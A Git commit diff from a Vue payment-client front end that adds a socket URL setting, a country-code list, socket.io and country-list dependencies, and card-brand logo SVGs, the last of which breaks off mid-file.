x1ongzhu před 1 rokem
rodič
revize
e00ec61b78

+ 2 - 1
.env

@@ -1,2 +1,3 @@
 VITE_BASE_URL=/
-VITE_API_BASE_URL=/api
+VITE_API_BASE_URL=/api
+VITE_SOCKET_URL=/paymentClient

+ 2 - 1
.env.development

@@ -1,2 +1,3 @@
 VITE_BASE_URL=/
-VITE_API_BASE_URL=http://localhost:3333/api
+VITE_API_BASE_URL=http://localhost:3333/api
+VITE_SOCKET_URL=http://localhost:3333/paymentClient

+ 946 - 0
countries.js

@@ -0,0 +1,946 @@
+export default [
+    {
+        value: "AF",
+        name: "Afghanistan",
+    },
+    {
+        value: "AX",
+        name: "Åland Islands",
+    },
+    {
+        value: "AL",
+        name: "Albania",
+    },
+    {
+        value: "DZ",
+        name: "Algeria",
+    },
+    {
+        value: "AD",
+        name: "Andorra",
+    },
+    {
+        value: "AO",
+        name: "Angola",
+    },
+    {
+        value: "AI",
+        name: "Anguilla",
+    },
+    {
+        value: "AQ",
+        name: "Antarctica",
+    },
+    {
+        value: "AG",
+        name: "Antigua & Barbuda",
+    },
+    {
+        value: "AR",
+        name: "Argentina",
+    },
+    {
+        value: "AM",
+        name: "Armenia",
+    },
+    {
+        value: "AW",
+        name: "Aruba",
+    },
+    {
+        value: "AC",
+        name: "Ascension Island",
+    },
+    {
+        value: "AU",
+        name: "Australia",
+    },
+    {
+        value: "AT",
+        name: "Austria",
+    },
+    {
+        value: "AZ",
+        name: "Azerbaijan",
+    },
+    {
+        value: "BS",
+        name: "Bahamas",
+    },
+    {
+        value: "BH",
+        name: "Bahrain",
+    },
+    {
+        value: "BD",
+        name: "Bangladesh",
+    },
+    {
+        value: "BB",
+        name: "Barbados",
+    },
+    {
+        value: "BY",
+        name: "Belarus",
+    },
+    {
+        value: "BE",
+        name: "Belgium",
+    },
+    {
+        value: "BZ",
+        name: "Belize",
+    },
+    {
+        value: "BJ",
+        name: "Benin",
+    },
+    {
+        value: "BM",
+        name: "Bermuda",
+    },
+    {
+        value: "BT",
+        name: "Bhutan",
+    },
+    {
+        value: "BO",
+        name: "Bolivia",
+    },
+    {
+        value: "BA",
+        name: "Bosnia & Herzegovina",
+    },
+    {
+        value: "BW",
+        name: "Botswana",
+    },
+    {
+        value: "BV",
+        name: "Bouvet Island",
+    },
+    {
+        value: "BR",
+        name: "Brazil",
+    },
+    {
+        value: "IO",
+        name: "British Indian Ocean Territory",
+    },
+    {
+        value: "VG",
+        name: "British Virgin Islands",
+    },
+    {
+        value: "BN",
+        name: "Brunei",
+    },
+    {
+        value: "BG",
+        name: "Bulgaria",
+    },
+    {
+        value: "BF",
+        name: "Burkina Faso",
+    },
+    {
+        value: "BI",
+        name: "Burundi",
+    },
+    {
+        value: "KH",
+        name: "Cambodia",
+    },
+    {
+        value: "CM",
+        name: "Cameroon",
+    },
+    {
+        value: "CA",
+        name: "Canada",
+    },
+    {
+        value: "CV",
+        name: "Cape Verde",
+    },
+    {
+        value: "BQ",
+        name: "Caribbean Netherlands",
+    },
+    {
+        value: "KY",
+        name: "Cayman Islands",
+    },
+    {
+        value: "CF",
+        name: "Central African Republic",
+    },
+    {
+        value: "TD",
+        name: "Chad",
+    },
+    {
+        value: "CL",
+        name: "Chile",
+    },
+    {
+        value: "CN",
+        name: "China",
+    },
+    {
+        value: "CO",
+        name: "Colombia",
+    },
+    {
+        value: "KM",
+        name: "Comoros",
+    },
+    {
+        value: "CG",
+        name: "Congo - Brazzaville",
+    },
+    {
+        value: "CD",
+        name: "Congo - Kinshasa",
+    },
+    {
+        value: "CK",
+        name: "Cook Islands",
+    },
+    {
+        value: "CR",
+        name: "Costa Rica",
+    },
+    {
+        value: "CI",
+        name: "Côte d’Ivoire",
+    },
+    {
+        value: "HR",
+        name: "Croatia",
+    },
+    {
+        value: "CW",
+        name: "Curaçao",
+    },
+    {
+        value: "CY",
+        name: "Cyprus",
+    },
+    {
+        value: "CZ",
+        name: "Czechia",
+    },
+    {
+        value: "DK",
+        name: "Denmark",
+    },
+    {
+        value: "DJ",
+        name: "Djibouti",
+    },
+    {
+        value: "DM",
+        name: "Dominica",
+    },
+    {
+        value: "DO",
+        name: "Dominican Republic",
+    },
+    {
+        value: "EC",
+        name: "Ecuador",
+    },
+    {
+        value: "EG",
+        name: "Egypt",
+    },
+    {
+        value: "SV",
+        name: "El Salvador",
+    },
+    {
+        value: "GQ",
+        name: "Equatorial Guinea",
+    },
+    {
+        value: "ER",
+        name: "Eritrea",
+    },
+    {
+        value: "EE",
+        name: "Estonia",
+    },
+    {
+        value: "SZ",
+        name: "Eswatini",
+    },
+    {
+        value: "ET",
+        name: "Ethiopia",
+    },
+    {
+        value: "FK",
+        name: "Falkland Islands",
+    },
+    {
+        value: "FO",
+        name: "Faroe Islands",
+    },
+    {
+        value: "FJ",
+        name: "Fiji",
+    },
+    {
+        value: "FI",
+        name: "Finland",
+    },
+    {
+        value: "FR",
+        name: "France",
+    },
+    {
+        value: "GF",
+        name: "French Guiana",
+    },
+    {
+        value: "PF",
+        name: "French Polynesia",
+    },
+    {
+        value: "TF",
+        name: "French Southern Territories",
+    },
+    {
+        value: "GA",
+        name: "Gabon",
+    },
+    {
+        value: "GM",
+        name: "Gambia",
+    },
+    {
+        value: "GE",
+        name: "Georgia",
+    },
+    {
+        value: "DE",
+        name: "Germany",
+    },
+    {
+        value: "GH",
+        name: "Ghana",
+    },
+    {
+        value: "GI",
+        name: "Gibraltar",
+    },
+    {
+        value: "GR",
+        name: "Greece",
+    },
+    {
+        value: "GL",
+        name: "Greenland",
+    },
+    {
+        value: "GD",
+        name: "Grenada",
+    },
+    {
+        value: "GP",
+        name: "Guadeloupe",
+    },
+    {
+        value: "GU",
+        name: "Guam",
+    },
+    {
+        value: "GT",
+        name: "Guatemala",
+    },
+    {
+        value: "GG",
+        name: "Guernsey",
+    },
+    {
+        value: "GN",
+        name: "Guinea",
+    },
+    {
+        value: "GW",
+        name: "Guinea-Bissau",
+    },
+    {
+        value: "GY",
+        name: "Guyana",
+    },
+    {
+        value: "HT",
+        name: "Haiti",
+    },
+    {
+        value: "HN",
+        name: "Honduras",
+    },
+    {
+        value: "HK",
+        name: "Hong Kong SAR China",
+    },
+    {
+        value: "HU",
+        name: "Hungary",
+    },
+    {
+        value: "IS",
+        name: "Iceland",
+    },
+    {
+        value: "IN",
+        name: "India",
+    },
+    {
+        value: "ID",
+        name: "Indonesia",
+    },
+    {
+        value: "IQ",
+        name: "Iraq",
+    },
+    {
+        value: "IE",
+        name: "Ireland",
+    },
+    {
+        value: "IM",
+        name: "Isle of Man",
+    },
+    {
+        value: "IL",
+        name: "Israel",
+    },
+    {
+        value: "IT",
+        name: "Italy",
+    },
+    {
+        value: "JM",
+        name: "Jamaica",
+    },
+    {
+        value: "JP",
+        name: "Japan",
+    },
+    {
+        value: "JE",
+        name: "Jersey",
+    },
+    {
+        value: "JO",
+        name: "Jordan",
+    },
+    {
+        value: "KZ",
+        name: "Kazakhstan",
+    },
+    {
+        value: "KE",
+        name: "Kenya",
+    },
+    {
+        value: "KI",
+        name: "Kiribati",
+    },
+    {
+        value: "XK",
+        name: "Kosovo",
+    },
+    {
+        value: "KW",
+        name: "Kuwait",
+    },
+    {
+        value: "KG",
+        name: "Kyrgyzstan",
+    },
+    {
+        value: "LA",
+        name: "Laos",
+    },
+    {
+        value: "LV",
+        name: "Latvia",
+    },
+    {
+        value: "LB",
+        name: "Lebanon",
+    },
+    {
+        value: "LS",
+        name: "Lesotho",
+    },
+    {
+        value: "LR",
+        name: "Liberia",
+    },
+    {
+        value: "LY",
+        name: "Libya",
+    },
+    {
+        value: "LI",
+        name: "Liechtenstein",
+    },
+    {
+        value: "LT",
+        name: "Lithuania",
+    },
+    {
+        value: "LU",
+        name: "Luxembourg",
+    },
+    {
+        value: "MO",
+        name: "Macao SAR China",
+    },
+    {
+        value: "MG",
+        name: "Madagascar",
+    },
+    {
+        value: "MW",
+        name: "Malawi",
+    },
+    {
+        value: "MY",
+        name: "Malaysia",
+    },
+    {
+        value: "MV",
+        name: "Maldives",
+    },
+    {
+        value: "ML",
+        name: "Mali",
+    },
+    {
+        value: "MT",
+        name: "Malta",
+    },
+    {
+        value: "MQ",
+        name: "Martinique",
+    },
+    {
+        value: "MR",
+        name: "Mauritania",
+    },
+    {
+        value: "MU",
+        name: "Mauritius",
+    },
+    {
+        value: "YT",
+        name: "Mayotte",
+    },
+    {
+        value: "MX",
+        name: "Mexico",
+    },
+    {
+        value: "MD",
+        name: "Moldova",
+    },
+    {
+        value: "MC",
+        name: "Monaco",
+    },
+    {
+        value: "MN",
+        name: "Mongolia",
+    },
+    {
+        value: "ME",
+        name: "Montenegro",
+    },
+    {
+        value: "MS",
+        name: "Montserrat",
+    },
+    {
+        value: "MA",
+        name: "Morocco",
+    },
+    {
+        value: "MZ",
+        name: "Mozambique",
+    },
+    {
+        value: "MM",
+        name: "Myanmar (Burma)",
+    },
+    {
+        value: "NA",
+        name: "Namibia",
+    },
+    {
+        value: "NR",
+        name: "Nauru",
+    },
+    {
+        value: "NP",
+        name: "Nepal",
+    },
+    {
+        value: "NL",
+        name: "Netherlands",
+    },
+    {
+        value: "NC",
+        name: "New Caledonia",
+    },
+    {
+        value: "NZ",
+        name: "New Zealand",
+    },
+    {
+        value: "NI",
+        name: "Nicaragua",
+    },
+    {
+        value: "NE",
+        name: "Niger",
+    },
+    {
+        value: "NG",
+        name: "Nigeria",
+    },
+    {
+        value: "NU",
+        name: "Niue",
+    },
+    {
+        value: "MK",
+        name: "North Macedonia",
+    },
+    {
+        value: "NO",
+        name: "Norway",
+    },
+    {
+        value: "OM",
+        name: "Oman",
+    },
+    {
+        value: "PK",
+        name: "Pakistan",
+    },
+    {
+        value: "PS",
+        name: "Palestinian Territories",
+    },
+    {
+        value: "PA",
+        name: "Panama",
+    },
+    {
+        value: "PG",
+        name: "Papua New Guinea",
+    },
+    {
+        value: "PY",
+        name: "Paraguay",
+    },
+    {
+        value: "PE",
+        name: "Peru",
+    },
+    {
+        value: "PH",
+        name: "Philippines",
+    },
+    {
+        value: "PN",
+        name: "Pitcairn Islands",
+    },
+    {
+        value: "PL",
+        name: "Poland",
+    },
+    {
+        value: "PT",
+        name: "Portugal",
+    },
+    {
+        value: "PR",
+        name: "Puerto Rico",
+    },
+    {
+        value: "QA",
+        name: "Qatar",
+    },
+    {
+        value: "RE",
+        name: "Réunion",
+    },
+    {
+        value: "RO",
+        name: "Romania",
+    },
+    {
+        value: "RU",
+        name: "Russia",
+    },
+    {
+        value: "RW",
+        name: "Rwanda",
+    },
+    {
+        value: "WS",
+        name: "Samoa",
+    },
+    {
+        value: "SM",
+        name: "San Marino",
+    },
+    {
+        value: "ST",
+        name: "São Tomé & Príncipe",
+    },
+    {
+        value: "SA",
+        name: "Saudi Arabia",
+    },
+    {
+        value: "SN",
+        name: "Senegal",
+    },
+    {
+        value: "RS",
+        name: "Serbia",
+    },
+    {
+        value: "SC",
+        name: "Seychelles",
+    },
+    {
+        value: "SL",
+        name: "Sierra Leone",
+    },
+    {
+        value: "SG",
+        name: "Singapore",
+    },
+    {
+        value: "SX",
+        name: "Sint Maarten",
+    },
+    {
+        value: "SK",
+        name: "Slovakia",
+    },
+    {
+        value: "SI",
+        name: "Slovenia",
+    },
+    {
+        value: "SB",
+        name: "Solomon Islands",
+    },
+    {
+        value: "SO",
+        name: "Somalia",
+    },
+    {
+        value: "ZA",
+        name: "South Africa",
+    },
+    {
+        value: "GS",
+        name: "South Georgia & South Sandwich Islands",
+    },
+    {
+        value: "KR",
+        name: "South Korea",
+    },
+    {
+        value: "SS",
+        name: "South Sudan",
+    },
+    {
+        value: "ES",
+        name: "Spain",
+    },
+    {
+        value: "LK",
+        name: "Sri Lanka",
+    },
+    {
+        value: "BL",
+        name: "St. Barthélemy",
+    },
+    {
+        value: "SH",
+        name: "St. Helena",
+    },
+    {
+        value: "KN",
+        name: "St. Kitts & Nevis",
+    },
+    {
+        value: "LC",
+        name: "St. Lucia",
+    },
+    {
+        value: "MF",
+        name: "St. Martin",
+    },
+    {
+        value: "PM",
+        name: "St. Pierre & Miquelon",
+    },
+    {
+        value: "VC",
+        name: "St. Vincent & Grenadines",
+    },
+    {
+        value: "SR",
+        name: "Suriname",
+    },
+    {
+        value: "SJ",
+        name: "Svalbard & Jan Mayen",
+    },
+    {
+        value: "SE",
+        name: "Sweden",
+    },
+    {
+        value: "CH",
+        name: "Switzerland",
+    },
+    {
+        value: "TW",
+        name: "Taiwan",
+    },
+    {
+        value: "TJ",
+        name: "Tajikistan",
+    },
+    {
+        value: "TZ",
+        name: "Tanzania",
+    },
+    {
+        value: "TH",
+        name: "Thailand",
+    },
+    {
+        value: "TL",
+        name: "Timor-Leste",
+    },
+    {
+        value: "TG",
+        name: "Togo",
+    },
+    {
+        value: "TK",
+        name: "Tokelau",
+    },
+    {
+        value: "TO",
+        name: "Tonga",
+    },
+    {
+        value: "TT",
+        name: "Trinidad & Tobago",
+    },
+    {
+        value: "TA",
+        name: "Tristan da Cunha",
+    },
+    {
+        value: "TN",
+        name: "Tunisia",
+    },
+    {
+        value: "TR",
+        name: "Turkey",
+    },
+    {
+        value: "TM",
+        name: "Turkmenistan",
+    },
+    {
+        value: "TC",
+        name: "Turks & Caicos Islands",
+    },
+    {
+        value: "TV",
+        name: "Tuvalu",
+    },
+    {
+        value: "UG",
+        name: "Uganda",
+    },
+    {
+        value: "UA",
+        name: "Ukraine",
+    },
+    {
+        value: "AE",
+        name: "United Arab Emirates",
+    },
+    {
+        value: "GB",
+        name: "United Kingdom",
+    },
+    {
+        value: "US",
+        name: "United States",
+    },
+    {
+        value: "UY",
+        name: "Uruguay",
+    },
+    {
+        value: "UZ",
+        name: "Uzbekistan",
+    },
+    {
+        value: "VU",
+        name: "Vanuatu",
+    },
+    {
+        value: "VA",
+        name: "Vatican City",
+    },
+    {
+        value: "VE",
+        name: "Venezuela",
+    },
+    {
+        value: "VN",
+        name: "Vietnam",
+    },
+    {
+        value: "WF",
+        name: "Wallis & Futuna",
+    },
+    {
+        value: "EH",
+        name: "Western Sahara",
+    },
+    {
+        value: "YE",
+        name: "Yemen",
+    },
+    {
+        value: "ZM",
+        name: "Zambia",
+    },
+    {
+        value: "ZW",
+        name: "Zimbabwe",
+    },
+];

+ 2 - 0
package.json

@@ -14,10 +14,12 @@
     "autoprefixer": "^10.4.18",
     "axios": "^1.6.7",
     "card-validator": "^9.1.0",
+    "country-list": "^2.3.0",
     "credit-card-type": "^10.0.0",
     "less": "^4.2.0",
     "pinia": "^2.1.7",
     "postcss": "^8.4.35",
+    "socket.io-client": "^4.7.4",
     "tailwindcss": "^3.4.1",
     "vue": "^3.4.15",
     "vue-router": "^4.2.5"

+ 173 - 0
src/assets/amex_logo.svg

@@ -0,0 +1,173 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://creativecommons.org/ns#"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns="http://www.w3.org/2000/svg"
+   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+   width="1000"
+   height="997.51703"
+   id="svg2"
+   version="1.1"
+   inkscape:version="0.91 r13725"
+   sodipodi:docname="American_Express_2018.svg">
+  <defs
+     id="defs4" />
+  <sodipodi:namedview
+     id="base"
+     pagecolor="#ffffff"
+     bordercolor="#666666"
+     borderopacity="1.0"
+     inkscape:pageopacity="0.0"
+     inkscape:pageshadow="2"
+     inkscape:zoom="0.125"
+     inkscape:cx="850.2929"
+     inkscape:cy="357.59411"
+     inkscape:document-units="px"
+     inkscape:current-layer="layer1"
+     showgrid="true"
+     fit-margin-top="0"
+     fit-margin-left="0"
+     fit-margin-right="0"
+     fit-margin-bottom="0"
+     inkscape:window-width="1680"
+     inkscape:window-height="931"
+     inkscape:window-x="0"
+     inkscape:window-y="1"
+     inkscape:window-maximized="1">
+    <inkscape:grid
+       type="xygrid"
+       id="grid2996"
+       empspacing="5"
+       visible="true"
+       enabled="true"
+       snapvisiblegridlinesonly="true"
+       originx="-55.5px"
+       originy="947.50002px" />
+  </sodipodi:namedview>
+  <metadata
+     id="metadata7">
+    <rdf:RDF>
+      <cc:Work
+         rdf:about="">
+        <dc:format>image/svg+xml</dc:format>
+        <dc:type
+           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+        <dc:title></dc:title>
+      </cc:Work>
+    </rdf:RDF>
+  </metadata>
+  <g
+     inkscape:label="Layer 1"
+     inkscape:groupmode="layer"
+     id="layer1"
+     transform="translate(-55.5,-1002.3452)">
+    <path
+       sodipodi:nodetypes="ccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3078"
+       d="m 55.5,1002.3454 997.5168,0 0,538.4893 -49.3744,77.1475 49.3744,68.6613 0,313.2187 -997.5168,0 0,-507.6304 L 86.358989,1456.744 55.5,1422.7991 Z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       sodipodi:nodetypes="cccccccccccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3082"
+       d="m 249.14015,1697.4441 0,-156.6094 165.82027,0 17.79072,23.1924 18.37901,-23.1924 601.88665,0 0,145.8088 c 0,0 -15.7404,10.644 -33.9449,10.8006 l -333.27706,0 -20.05834,-24.6872 0,24.6872 -65.72965,0 0,-42.1418 c 0,0 -8.97877,5.8825 -28.39026,5.8825 l -22.37277,0 0,36.2593 -99.52024,0 -17.7653,-23.6898 -18.03807,23.6898 z"
+       style="fill:#ffffff;stroke:none" />
+    <path
+       sodipodi:nodetypes="cccccccccccccccccccccccccccccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3080"
+       d="m 55.5,1422.7991 37.393125,-87.1766 64.667505,0 21.22103,48.8328 0,-48.8328 80.38767,0 12.63289,35.2949 12.24716,-35.2949 360.8573,0 0,17.7439 c 0,0 18.96995,-17.7439 50.14586,-17.7439 l 117.08499,0.4092 20.85469,48.1937 0,-48.6029 67.27259,0 18.5154,27.6834 0,-27.6834 67.88977,0 0,156.6093 -67.88977,0 -17.74392,-27.7731 0,27.7731 -98.83835,0 -9.93959,-24.6872 -26.57108,0 -9.77781,24.6872 -67.02872,0 c -26.82589,0 -43.97406,-17.3816 -43.97406,-17.3816 l 0,17.3816 -101.06318,0 -20.05835,-24.6872 0,24.6872 -375.80462,0 -9.93274,-24.6872 -26.48635,0 -9.86254,24.6872 -46.1989,0 z"
+       style="fill:#ffffff;stroke:none" />
+    <path
+       id="path3046"
+       d="m 106.12803,1354.9291 -50.435161,117.2641 32.835892,0 9.305914,-23.4816 54.099665,0 9.2577,23.4816 33.55915,0 -50.38695,-117.2641 -38.23621,0 z m 18.66004,27.2909 16.49028,41.0329 -33.02877,0 16.53849,-41.0329 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none"
+       inkscape:connector-curvature="0" />
+    <path
+       sodipodi:nodetypes="cccccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3048"
+       d="m 198.22282,1472.1735 0,-117.2642 46.66163,0.1733 27.13999,75.6045 26.4901,-75.7778 46.28848,0 0,117.2642 -29.31604,0 0,-86.4052 -31.07562,86.4052 -25.71023,0 -31.16227,-86.4052 0,86.4052 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       sodipodi:nodetypes="ccccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3050"
+       d="m 364.86136,1472.1735 0,-117.2642 95.66287,0 0,26.2302 -66.03824,0 0,20.0583 64.49529,0 0,24.6872 -64.49529,0 0,20.8298 66.03824,0 0,25.4587 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       id="path3052"
+       d="m 477.49667,1354.9291 0,117.2641 29.31604,0 0,-41.6596 12.34359,0 35.15032,41.6596 35.82536,0 -38.57374,-43.2025 c 15.8309,-1.3359 32.16085,-14.9233 32.16085,-36.0182 0,-24.6765 -19.36827,-38.0434 -40.98459,-38.0434 l -65.23783,0 z m 29.31604,26.2301 33.51093,0 c 8.03881,0 13.88655,6.2882 13.88655,12.3436 0,7.7905 -7.57673,12.3436 -13.45259,12.3436 l -33.94489,0 0,-24.6872 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none"
+       inkscape:connector-curvature="0" />
+    <path
+       sodipodi:nodetypes="ccccc"
+       inkscape:connector-curvature="0"
+       id="path3054"
+       d="m 625.61982,1472.1735 -29.93322,0 0,-117.2642 29.93322,0 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       sodipodi:nodetypes="ccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3056"
+       d="m 696.59549,1472.1735 -6.4611,0 c -31.26172,0 -50.24229,-24.6292 -50.24229,-58.1499 0,-34.3488 18.76806,-59.1143 58.24634,-59.1143 l 32.40194,0 0,27.7731 -33.58657,0 c -16.026,0 -27.35994,12.5067 -27.35994,31.6305 0,22.7096 12.95987,32.2476 31.63047,32.2476 l 7.71474,0 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       inkscape:connector-curvature="0"
+       style="fill:#016fd0;fill-opacity:1;stroke:none"
+       d="m 760.3868,1354.9291 -50.43515,117.2641 32.83589,0 9.30591,-23.4816 54.09967,0 9.25769,23.4816 33.55915,0 -50.38694,-117.2641 -38.23622,0 z m 18.66005,27.2909 16.49027,41.0329 -33.02876,0 16.53849,-41.0329 z"
+       id="path3058" />
+    <path
+       sodipodi:nodetypes="ccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3060"
+       d="m 852.43338,1472.1735 0,-117.2642 37.27187,0 47.59035,73.6759 0,-73.6759 29.31604,0 0,117.2642 -36.06644,0 -48.79578,-75.6045 0,75.6045 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       style="fill:#016fd0;fill-opacity:1;stroke:none"
+       d="m 269.1985,1677.3858 0,-117.2642 95.66286,0 0,26.2302 -66.03823,0 0,20.0583 64.49528,0 0,24.6872 -64.49528,0 0,20.8298 66.03823,0 0,25.4587 z"
+       id="path3062"
+       inkscape:connector-curvature="0"
+       sodipodi:nodetypes="ccccccccccccc" />
+    <path
+       sodipodi:nodetypes="ccccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3064"
+       d="m 737.94653,1677.3858 0,-117.2642 95.66287,0 0,26.2302 -66.03824,0 0,20.0583 64.1867,0 0,24.6872 -64.1867,0 0,20.8298 66.03824,0 0,25.4587 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       sodipodi:nodetypes="ccccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3066"
+       d="m 368.57408,1677.3858 46.57779,-57.9089 -47.68678,-59.3553 36.93435,0 28.39991,36.6932 28.49635,-36.6932 35.48784,0 -47.05996,58.6321 46.66353,58.6321 -36.92851,0 -27.57537,-36.1148 -26.90518,36.1148 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       style="fill:#016fd0;fill-opacity:1;stroke:none"
+       d="m 499.86944,1560.1414 0,117.2641 30.08751,0 0,-37.0308 30.85899,0 c 26.11107,0 45.90274,-13.8524 45.90274,-40.7917 0,-22.3164 -15.52271,-39.4416 -42.09358,-39.4416 l -64.75566,0 z m 30.08751,26.5194 32.49837,0 c 8.43546,0 14.46515,5.1701 14.46515,13.5008 0,7.8262 -5.99925,13.5008 -14.56158,13.5008 l -32.40194,0 0,-27.0016 z"
+       id="path3068"
+       inkscape:connector-curvature="0" />
+    <path
+       inkscape:connector-curvature="0"
+       style="fill:#016fd0;fill-opacity:1;stroke:none"
+       d="m 619.44802,1560.1216 0,117.2642 29.31604,0 0,-41.6597 12.34359,0 35.15032,41.6597 35.82536,0 -38.57374,-43.2026 c 15.83089,-1.3361 32.16085,-14.9233 32.16085,-36.0183 0,-24.6764 -19.36827,-38.0433 -40.98459,-38.0433 l -65.23783,0 z m 29.31604,26.2302 33.51093,0 c 8.03881,0 13.88654,6.2881 13.88654,12.3435 0,7.7906 -7.57673,12.3436 -13.45259,12.3436 l -33.94488,0 0,-24.6871 z"
+       id="path3072" />
+    <path
+       sodipodi:nodetypes="ccccccccccccccccc"
+       inkscape:connector-curvature="0"
+       id="path3074"
+       d="m 847.18735,1677.3858 0,-25.4587 58.67066,0 c 8.68115,0 12.44003,-4.6912 12.44003,-9.8363 0,-4.9296 -3.74703,-9.9134 -12.44003,-9.9134 l -26.5126,0 c -23.04571,0 -35.88042,-14.0409 -35.88042,-35.1214 0,-18.8023 11.75348,-36.9344 45.99918,-36.9344 l 57.08913,0 -12.3436,26.3844 -49.37438,0 c -9.43821,0 -12.3436,4.9526 -12.3436,9.6821 0,4.8612 3.59036,10.222 10.80065,10.222 l 27.77309,0 c 25.69029,0 36.83792,14.5724 36.83792,33.6556 0,20.5163 -12.42212,37.3201 -38.23646,37.3201 z"
+       style="fill:#016fd0;fill-opacity:1;stroke:none" />
+    <path
+       style="fill:#016fd0;fill-opacity:1;stroke:none"
+       d="m 954.78398,1677.3858 0,-25.4587 58.67062,0 c 8.6812,0 12.4401,-4.6912 12.4401,-9.8363 0,-4.9296 -3.7471,-9.9134 -12.4401,-9.9134 l -26.51256,0 c -23.04571,0 -35.88043,-14.0409 -35.88043,-35.1214 0,-18.8023 11.75348,-36.9344 45.99918,-36.9344 l 57.08911,0 -12.3436,26.3844 -49.37436,0 c -9.4382,0 -12.34359,4.9526 -12.34359,9.6821 0,4.8612 3.59035,10.222 10.80064,10.222 l 27.77311,0 c 25.6903,0 36.8379,14.5724 36.8379,33.6556 0,20.5163 -12.4221,37.3201 -38.2365,37.3201 z"
+       id="path3076"
+       inkscape:connector-curvature="0"
+       sodipodi:nodetypes="ccccccccccccccccc" />
+  </g>
+</svg>

binární
src/assets/diners_logo.png


+ 117 - 0
src/assets/discover_logo.svg

@@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg:svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://creativecommons.org/ns#"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+   width="304mm"
+   height="64mm"
+   id="svg3187"
+   version="1.1"
+   inkscape:version="0.47 r22583"
+   sodipodi:docname="orange.svg">
+  <svg:metadata
+     id="metadata2899">
+    <rdf:RDF>
+      <cc:Work
+         rdf:about="">
+        <dc:format>image/svg+xml</dc:format>
+        <dc:type
+           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+      </cc:Work>
+    </rdf:RDF>
+  </svg:metadata>
+  <sodipodi:namedview
+     pagecolor="#ffffff"
+     bordercolor="#666666"
+     borderopacity="1"
+     objecttolerance="10"
+     gridtolerance="10"
+     guidetolerance="10"
+     inkscape:pageopacity="0"
+     inkscape:pageshadow="2"
+     inkscape:window-width="666"
+     inkscape:window-height="483"
+     id="namedview2897"
+     showgrid="false"
+     inkscape:zoom="0.50800003"
+     inkscape:cx="557.47396"
+     inkscape:cy="95.669289"
+     inkscape:window-x="320"
+     inkscape:window-y="342"
+     inkscape:window-maximized="0"
+     inkscape:current-layer="svg3187" />
+  <text
+     x="0"
+     y="0">Disc</text>
+  <svg:defs
+     id="defs3">
+    <inkscape:perspective
+       sodipodi:type="inkscape:persp3d"
+       inkscape:vp_x="0 : 95.669289 : 1"
+       inkscape:vp_y="0 : 1000 : 0"
+       inkscape:vp_z="1062.9921 : 95.669289 : 1"
+       inkscape:persp3d-origin="531.49603 : 63.779526 : 1"
+       id="perspective2901" />
+    <svg:radialGradient
+       cx="121.25"
+       cy="97.588577"
+       r="77.916664"
+       fx="141.25"
+       fy="77.588577"
+       id="radialGradient3202"
+       gradientUnits="userSpaceOnUse">
+      <svg:stop
+         stop-color="#f0f0f0"
+         offset="0"
+         id="stop2891" />
+      <svg:stop
+         stop-color="#ff8330"
+         offset="1"
+         id="stop2893" />
+    </svg:radialGradient>
+  </svg:defs>
+  <svg:g
+     id="layer1"
+     transform="matrix(0.94947156,0,0,0.949483,496.94722,38.627248)">
+    <svg:path
+       d="m 199.16666,97.588577 a 77.916664,77.916664 0 1 1 -155.833324,0 77.916664,77.916664 0 1 1 155.833324,0 z"
+       transform="translate(-25.8333,3.33333)"
+       id="path3194"
+       style="fill:url(#radialGradient3202)" />
+  </svg:g>
+  <svg:text
+     xml:space="preserve"
+     style="font-size:220px;font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;text-align:start;line-height:125%;writing-mode:lr-tb;text-anchor:start;fill:#000000;fill-opacity:1;stroke:none;font-family:Verdana;-inkscape-font-specification:Verdana Bold"
+     x="-9.8425188"
+     y="193.30708"
+     id="text2903"
+     sodipodi:linespacing="125%"><svg:tspan
+       sodipodi:role="line"
+       id="tspan2905"
+       x="-9.8425188"
+       y="193.30708">Disc</svg:tspan></svg:text>
+  <svg:text
+     xml:space="preserve"
+     style="font-size:220px;font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;text-align:start;line-height:125%;writing-mode:lr-tb;text-anchor:start;fill:#000000;fill-opacity:1;stroke:none;font-family:Verdana;-inkscape-font-specification:Verdana Bold"
+     x="655.51172"
+     y="193.41451"
+     id="text2911"
+     sodipodi:linespacing="125%"><svg:tspan
+       sodipodi:role="line"
